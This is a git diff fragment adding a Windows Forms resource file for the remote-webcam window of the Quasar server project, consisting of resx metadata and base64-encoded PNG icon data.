Dv/k3tv/5N7b/yoXEP8oGRP/Oysk/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/ygYEf9MPDW7f29oWf// + /wH///8B////Af///wH///8B////AYd3cBNrW1RdLx8Y7TAgGf84KCH/OSki/zkpIv84KCH/OCgh/zkp + Iv85KSL/OSki/zgoIf8lEw3/MB4c/+fg2/+noZ7/FQMA/y4dFv86KiP/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/LBwV/zglHf/s5uP/z8nG/y0bEv8yIhv/OSki/zkpIv87KyP/JhYQ/2dXUP/v6+n/+vn3/5iM + iP8qGBD/MiMc/zsrJP8bCwT/mImC/5WFf/8ZCQP/PCwl/zkpIv85KSL/OSki/zoqI/85KSL/Nycg/zAg + Gf81JR7nf29oUaOTjA3///8B////Af///wH///8B////Af///wH///8B////AV5OR1FDMyzRNSUe/zYm + H/83JyD/Oioj/zgoIf85KSL/OSki/zkpIv84KCH/Nycg/zgoIf9XSEL/T0A5/zUlHv85KSL/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zEhGv8tGxP/3tfV/7u1s/8gDQX/Nygh/zkpIv85KSL/PCwl/xYE + Af+qoZ7////////////X0s//Oygh/ycXEP86KiP/NCUe/0IxKf9DMiv/MiMc/zkpIv85KSL/OSki/zoq + I/83JyD/MyMc/zQkHf06KiPDWEhBQf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BZVVOGVJCO307KyTbMCAZ/zQkHf84KCH/OSki/zkpIv85KSL/OSki/zkpIv83KCH/JhYO/ywb + FP87KyT/OSki/zgoIf85KSL/OSki/zkpIv85KSL/OCgh/zgoIf82Jh//IxAI/8zGw/+uqKb/FgQA/zsr + JP85KSL/OSki/zorJP8nFg//ZlZQ/+Tg3v/v7ez/n5WQ/yoZEf80JB3/OSki/zopIv8wIBr/MCAZ/zoq + I/84KCH/OSki/zkpIv8zIxz/Lh4X/z4uJ9deTkdzX09IE////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUEA5L1lJQps4KCHtNSUe/zYmH/85KSL/OCgh/zgo + If84KCH/OSki/zsrJP86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/Oioj/xsI + Av+yqqf/ppqU/xoJAv87KyT/OSki/zkpIv85KSL/Oysk/y0cFP9SQjv/WUlD/y8fF/8zIxz/Oysk/zkp + Iv85KSL/OSki/zkpIv84KCH/OSki/zYmH/8zIxz/OSki52RUTZFeTkcn////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wGBcWoFTj43SUc3 + MK80JB31Lx8Y/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zsrJP8dDAX/npGL/5OFfv8gDwj/Oysk/zgoIf85KSL/OSki/zoqI/83KCH/IxML/yMR + Cf8xIRn/PCwl/zkpIv85KSL/OSki/zkpIv85KSL/Nycg/y4eF/8yIhv1Tz84o1tLRD+VhX4F////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wFPPzgJVUU+X0g4MdUwIBn/MSEa/zsrJP85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zgoIf86KiP/IxMM/5B/eP+Ccmv/JRYP/zoqI/84KCH/OSki/zkp + Iv85KSL/OSki/zkqI/86KiP/OSki/zkpIv85KSL/OSki/zkpIv85KSL/NSUe/zAgGf9JOTLPXExFV19P + SAf///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIbTj43dz0tJu0vHxj/OCgh/zkp + Iv85KSL/OSki/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/Oioj/ygYEf96amP/bl5X/yoa + E/85KSL/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv84KCH/Lh4X/zsr + JN1RQTpzeGhhE////wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVRE + PQOIeHEvSjozozUlHvs0JB3/NiYf/zgoIf84KCH/OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zoq + I/8wIBn/XU1G/1FBOv8yIhv/Nycg/zgoIf85KSL/OSki/zkpIv84KCH/OCgh/zcnIP84KCH/OCgh/zcn + IP81JR7/NCQd+VtLRJ1dTUYjWkpDA////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AVFBOgVPPzhJQDApuzYmH/8zIxz/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OSki/zsrJP83JyD/OSki/zcnIP85KSL/OSki/zkpIv85KSL/OCgh/zgo + If85KSL/Nycg/zMjHP81JR77Pi8ot1hIQUNmVk8D////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVlJQgtuXldtNSUe1zEh + Gv8xIRr/OCgh/zoqI/85KSL/OSki/zkpIv85KSL/OSki/zoqI/82Jh//NiYf/zgoIf84KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv81JR7/NiYf/zIiG/9HNzDTWkpDX0U1LgX///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AVNDPCE9LSaPPS0m5TMjHP83JyD/Oioj/zoqI/85KSL/OSki/zgoIf85KSL/OSki/zgo + If84KCH/OSki/zgoIf85KSL/Oioj/zoqI/81JR7/MiIb/zoqI9tAMCqHcmJbHf///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWhYUTtGNjCrNCQd8zEhGv81JR7/Oioj/zkp + Iv83JyD/OCgh/zkpIv85KSL/OSki/zgoIf84KCH/Oysk/zMjHP8tHRb/OCgh71dHQKNJOTIt////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BXU1GBz4u + J09AMCm9NSUe/zIiG/84KCH/OSki/zgoIf85KSL/OSki/zgoIf86KiP/OSki/zEhGv8zIxz/RDQtt0o6 + M0l5aWIF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BXk5HE2paU2U0JB3bKBgR/zMjHP85KSL/OCgh/zgoIf85KSL/MiIb/y4e + F/83JyDZdGRdX25eVw////8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BVUU+I2BQSY04KCHzLh4X/zoq + I/85KSL/MSEa/zkpIu9FNS5/SDgxH////wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8BYlJLOUU1Lq8yIhvXMiIb104+N6lqWlM1////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA== + + + \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam_temp.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam_temp.resx new file mode 100755 index 0000000..c0c528a --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmRemoteWebcam_temp.resx @@ -0,0 +1,2193 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 223, 17 + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKvSURBVDhPpZPdT5JRHMf9W/RP6DndtDa9aK5N56Ok + XWTUME3UVrgKtcEqxQRfAQVsKITiG+UblKgICT6aPaFgaOqTAzNoa6sbSFuW3yYtzHJd1Nk+Zztn53zO + vuf8ThKApP/hj4kc3WpKpiYgyVAtcacavNG0ejaaWj/PpdbPSU7eY1J+X39okKVd4Z1W+iMlRh+MrhAG + ma04BkcQAu0zEMlUhEgdvCMFmZoAL71xMdYwuga7N4KOiRBklle4278CpXUNFvcmagcDIKUjMXJ1JCGJ + dxnqpeT0poXw/mbr8wgk/SuoNPvRN/MGfZ5N3DT5IO72wzS1AdlDH0iRJUwK+5MTgnTlgrRY74WNfYcq + cwBiow/XOxfx6fNuHFEnC1EHC/EDL8xPgzinGAeV3y1NCNKaWM7gCEFt5XDDuIjyTi9EehZdrg2YXBso + bWd+oJuBzOKHdmIVJK+TSwhOyJjt4fm3qOryQdTxAmX351CqY7Df9gAINR4Ut06juNWNKzoPLEwQFK9t + OyEgUtf20NxWPOv+SSXaGQg1MwiEPiK2s4uiFhcKm5241OyEUOXEwGwQFK36VeDg9A4O8kfLKNPNQdjm + wWX1NF4GPyC28wUF9ZMoUIxDoLCjooOB2r4Ekt1yEIFU2KV8pQt97hDKNAyESjfs7Ca+ftuLR/C9fg++ + zAa+zIr2xwHk3RoEyW4+uERybSiZCC3hOwOLMDnWUaR0QtAwgQvyMfBrrDhfPYL86mE0DnhRaZ4FRcvD + hJYfPOM+lKCXdyzXEJP0sjBMrkKs90CgeIKLtTaUa5zQWv0QdzEgWTUxQssPF1JCkmfgUbntkbO3R6Ee + W0aPh0OPZx0ttiXkVFlAZdVGCF13dCn/hJzRplC8VgmVo+IoWhGlsuqihJZzhJZLjtM1f/9M/8J3OIbL + 7IJCv8kAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAIWSURBVDhPpY/PaxNBGIZ78O7NP8FTKmKbFdGjIJ68 + iF78BSKozUGiFCqC9pA0IARKo4iIpVAq2GKxEcGj9VBNbRObaDabNDZNG5pgs7uzu7O7s7vzSlJNIgEh + 9PDM980L3/PN9AHo2w9dQa90Bb3SPHLvBlOlxSts89O1Dq6y/PtT6+KC75C44Dv4D/EmB1oCKS5YnHsA + OMAb7PWOWcPW0pBdXhqy/lJZGTG3E/dKubfHLrQF836FuyasrSiM4jiMjUnQ0hy4I4N7Orirgbvq3t2p + Ax6zpXkh0xa8FojHVBjFGPTCBMj3UewmbqO2HICcDkFeewQ5dR/15DDqySAcswrpzaDWFsz6mUN3IGdi + qK9GUP14F7T6Bdwlf7Y3qtJ+ATikWcFsC2aOs+b/PQvwKOAazUGXirAqMZjlEOjPYRj5m9DFS3D1LKRp + f4dgSrC5S+GSz3DkD2C/5mDvvIBZfgy68QC0EICRuwz9xzlo6dNwtRSkyU7Bc8HyGAHbjcOuTsOqPIG5 + GQItNrbegJ69CC1zFuTbSairR+GQr5CedQpifpMzGXZ1Ctb2OMzSKGgxCEO6Dj17Hlr6DEjqBNSVI1CW + D8MhCTRmWoJcdKDClIKir7/y9PxLaNJTaGIUWjYMknkIkh6BuhaEmgpATd6CVVvkueiA0hKIYd8dMdI/ + I47118RIv/lfxppVFcO+iZZgP3QFvfIbjdEbMqg0Vh4AAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAEJSURBVDhPpdPPaoMwHAdwn0NREEEQQRAEl81mWeLu + LRTfYU/QFQq+QWn7ILtuTig+wU477r5dd+pBxnckRbcc9idb4Ev8BfLhZ0gsANZ/YlV1t67q7lDVXW+Y + nQLmq/1hc/uM7d33eXh61eb5at8rYLZse7mwa16MMlu2UMB00bzJwjTTRXMEZJFlGdI0RZIkiOMYURQh + DEMEQQDf9+F5HlzXheM4sG1bZexAfuQnRBZGiAaQ0zPkeW6EaEAxoWqzRH77Ox/AdQt6zlAUBQghYyfD + +ArRAHbBQSnVkJ86+QTcg4sSjDEjROtAlCU450aIdohCCBUTZAQur24eh9tlErlPAcOz/GveAX11R2h2 + a0LRAAAAAElFTkSuQmCC + + + + + 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 + 7IJCv8kAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJYSURBVDhPlZJfb9JQGMb3JfxMxgs/xpagMP4IplNW + HcFkMpkFhDkcXFiREhY0iFkCLgsZrMAKSmlPy2Blf7xcXEwcu9jFY051NhmZ0Yvn5OS8z/t73zw5UwCm + dF0HIQSKoqDb7aLT6aDVakEURWxvb2NrawuVSgUbGxsoFosoFArI5XKgvVP0UFUVp6ffMTo8xujgCKPR + EQwq4xD7xiGG+wcYDkcYUA0MnJx8A8/zFkCWZbPxtif7T9L7Q6RSKQtAV6ZTadH2vA7f6i6iBYLkxz1E + 3/cRXtewmNPwRNBMj6YNkEgkLECz2TTXpcU73A7uRkQ8SHfAFTRE3vXxNEcQyKhg3xDTQ8gAHMdZgFqt + huElICLCHm3A8aIFJvUFi4KKZ+s6glkN8/wvgKL2EQqFLABNmQZEi3S6PdbEbHwXzpU2PC87mH+t4HGG + 4NHvDXo9DcFg0AKUy2UzXVq8nD6bkOBaacO9+hn3XnXhTfXgSyumpytrYFnWApRKJewbBxNpXyeF7IFh + GAtAP8bx8VeoRIPcI9D0AarVGqS2jF2pi3JlE7KsotmUTBGiw+PxWABBEMI8z0vpdFpKJpNSPB43OI5b + y+fzyGazCAQCayzLGnNzc5LP55PcbrfkcDge/gFc1fLysjMUCm3Wdxpm4n6/f8wwzP2rvglANBq9EQ6H + USx+QK0uolpt4NNmDWKjjUzmLZxO54+/ApaWlm4JgoCLiwucn59jPB7j7OzMvNO3WCyGmZmZm9cCqBYW + FiS/32+m7PV64XK5YLfbYbPZMD093brqnwD8r34CYfbyet7cncoAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAANvSURBVDhPXdPxU5oFGAdw7qrf2vVf+PO6bj/Y6Thx + MUXJzG6mF+prAifwvh5yodjF7JVO0jDxVpaWbTp0qIg60OZAhb2OkfICAYKisNwqpYzdmtq1bt+O94fO + 9cNz973nnufz0/PwAPBOF8UQhRRDTFIMkaYY4gnFEH9RDHFAMcQ86W0o+f/86cUXKYa4nlu4/ZMFG5kl + LN9fg2N7DbNxN6bj42heljyVLdUuNC5Uv/wcQDHESxRDMKOJz7B/FMD2YRSRQxb2dBDO1CZGo1FcC7GY + DDEw+7shsVeFayYrXjkNWK7Gu5F6vIrNxz7EsjEED0IYT8YwldpBfyCJ3ntx9Hn8sMfcMPs6UDUmWuAA + iiEKKIb4e+/PVTiyTkw/cmLx0IPFB1F8k9jCF5FtkM4AyJs+GNadGEpfQeBXO8TDwn9KvxRU5ACbM/UV + Nn5zYiI7B+sffvgzYZiCMfSub0HmCEDuckG9OQRNioZ6pwNjITOu3zOi+PPCWzlg78ffb2J0bximzLdY + PIzClwmBuhWEbG4DH/jXIU9qId6SQRyXQhJRQX9bA2/SgvPG/F9ywNHOo2V0JT4GmWzD0M8rmEhvQHLj + B6jcXvRuf4+GxDj44TYIQwq85aqBaup9sA/nkU+fO+aRdxqOd7PL+CisgSrcj5H7LtRN+FA3G0HV13dB + ue6iI2wHyThQb7Wj2voh5GO1YB/M4Zz+1ROeYqXuYfBgFv3RLvTsrODymhv1xu9AG3sxMjICbecnKO+0 + 4SI9C22ngesZurswOG7Ea21nD3iypdp5e3wAjtRVtNyh0fSpFmazGfv7+9jd3YXH40GHoQctl3sQiye4 + HsMw3IygrmiPRzguCSX2qqeRjBMN5nehadOAjURQQ7ajrFwMqVSKgYEB6HQ6LpeVl0GrpzikVdN6xB1S + 9Y0350yrWpB6ArSB5oBmiwdFF4Rwu91gWRZerxc2mw3Fbwigs8g4gKbpEw54+1rpGfGwMEzo3wHZouSA + erIVguILEAqFqKys5CqXBcUCiN4rPcoBcrk8+98zXbxSdKZQl+8tuyR61mfug3V6CjMzMxgcHIRarUZ7 + ezuXcz3rpDVrMpmyYrE4/txr5uXlvVAgf721pKLkuFHa+KxZ2QyFUoEiFT97vqWAVSgVJ0ql8qSpqemJ + SCRK8/n8s/8CwNyzn/m7geEAAAAASUVORK5CYII= + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAJ1SURBVDhPpZHLaxNRFMb7H7ju0p0bBVdZCCoupKKo + ICi6qmIVzaJZdGFQAkKwJQ/HtI2NVKpNLFYCNs9pM5PXNJNp00mamJk0TTt5jJVC22BKNy5cfHIHja9Z + CF74OPce7vmdc7/bA6Dnf/RXolAovMrlcl95nkc6nQbLsqBpGoFAAH6//+2f97ubUql0KJ/P+xVFwdbW + NpSGCkVpYpNos4F2+zNmZmagCygWi32iKH5qNpvY3d1FbqWIrCAiw6+AyyyD45awXlMwNTWlDxBFETs7 + O5pU9SN4QcTEhAdu93OMjY3D5RrFWnUTHo9HHyAIAjqdDlRVRb1exyLpuriMFCcgmcqCTWRQWduAy+XS + BxCz2u02Wq0WFKWONLekdaUoCk6nEzabDXKlBrvdrg8gThMA8aBW20AyJSCe5MHGM4ixHBZiaUhSFVar + VR8QjUY1QKPRwPp6TRuZYRcRYzi8WX6Nq+8u44NUhcVi0QfMzc1hb29Pe3+lUu12pReSODN9AoZxA6bD + LzA4dgN3nl7Cdevpg3MPjj3qAmZnZ7XvIwBJrmCeFM8nEaETCEdYOKaf4LH/JiKyG6VtBhR7H9eoozAY + ex0awOv1Yn9/XzOxXJYRpZOIROMIRVgEQwz6R/oQlJ4huDZKngBHfABU/C4BfNEAk5OTuXA4DFmW0Wyq + SKSyCEcTCARjeB+M4cLD46Dll1rxjxUquwngpxkURZ232Wx5n88HPitAkmtYLcoorEo4OXgYduYWhpl+ + rXg41v/7BL/KYrGcNZvN5aGhIZhMJhiNRly8dwpXHEfgZG5rnUkk564H/yKDsXfEYOw9IGN/jyMk/w01 + hv6Uwh3lxAAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAKlSURBVDhPpZFfSFNhGMZPREQQWBcVUiQG0R+Qkogk + 9KoSqQsjqKAischFg/RiNwfTTJHqjHVc/tlguDnXaDZig7HlnG07+3PcPFsT29Tp2eZSCudIb7oqeeKc + i2G5i6CL5+Pj5Xt/z/s9LwGA+B9tKUSjUV04HP4ZCATg9XrhcrngcDhgtVphNpvf/v2+cJmamiqJRCJm + nuextPQVfDoLns9gQdBCGvn8dxiNRhQFxGKxOo7jljOZDHK5HMKTMQRZDv7AJBh/CAwzgbkkD61WWxzA + cRxWVlZEZbNfEGA5qFRq9PcPoLe3D0rla8zMLkCtVhcHsCyLtbU1ZLNZpFIp+ARXXwgehoXbE4Trox+J + mXkolcriACGsfD6PxcVF8HwKXmZCdKVpGgqFAhRFIZ5IQi6XFwcISQsAIYNkch5uD4txdwCucT+cLgaj + Ti+ajTV4oKtEw2DFri0Au90uAtLpNObmkuLIYy4fnGMM3oSGcGPkKiT6Kjyz3cJN9XHU95cVIOJhsViw + uroq/j+RmBVdBcfHhipI9GfQOHgKTyzX8Y5TQmauxyX6wEaNfO/uAsBkMonrEwCf4wl8cHohNZyD9dMA + 3kf7xEYT14OecRn0ExQeGmtx9vnOjYqubSUiYHh4GOvr62KI09Nx2B1u3NdVis2vxprxclSKbkcTOmyN + 6LRLoPZ14c5QNY4+JX6JAI1GE7bZbIjH48hksvjoCeK25gRGJntgDCmgZylogy/Q7XgEla8TTcY6lLcR + uYMkcbqQJk3TVyiKihgMBgSCLK6pjuCy8hAu0vtRLd+Du7rzGGA6cM9Qi7I24lspSZwsZLBZ7e3ttSRJ + TstkMrS0tEAqlUIikaCicwca9BdQ1kosl5LEsT+28C8qbyN+HG7djn0kUb65/hu4oOErFYp5IgAAAABJ + RU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAAK/INwWK6QAAABl0RVh0U29m + dHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAALtSURBVDhPpZLdT1NnAId7sZh4tf+Af8ALk2XGj7ll + 